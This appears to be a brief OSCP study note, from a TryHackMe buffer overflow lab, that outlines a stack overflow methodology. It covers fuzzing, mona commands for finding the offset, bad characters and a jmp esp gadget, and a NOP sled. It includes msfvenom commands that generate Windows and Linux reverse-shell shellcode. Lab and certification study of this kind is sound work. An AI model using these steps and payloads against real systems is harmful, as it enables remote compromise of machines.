Buffer Overflow Methodology
Buffer Overflow Methodology for OSCP from TryHackMe Buffer Overflow Prep
1. Fuzz application to find number of bytes needed to crash the application
fuzzer.py
2. Set mona configuration
3. Find EIP
offset
EIP
offsetexploit.py
4. Find bad characters
Generate byte array in mona:
!mona bytearray -b "\x00"
Compare to find the bad character:
!mona compare -f C:\mona\oscp\bytearray.bin -a
5. Find jmp esp
instruction sets without any bad characters
jmp esp
instruction sets without any bad charactersInsert bad characters after -cpb
flag.
!mona jmp -r esp -cpb "\x00"
6. Generate shellcode
Insert bad characters after -b
flag.
Windows -
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= EXITFUNC=thread -b "\x00" -f c
Linux -
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> EXITFUNC=thread -b "\x00" -f c
7. Set nop
sled in padding
nop
sled in padding"\x90" * 24
Last updated
Was this helpful?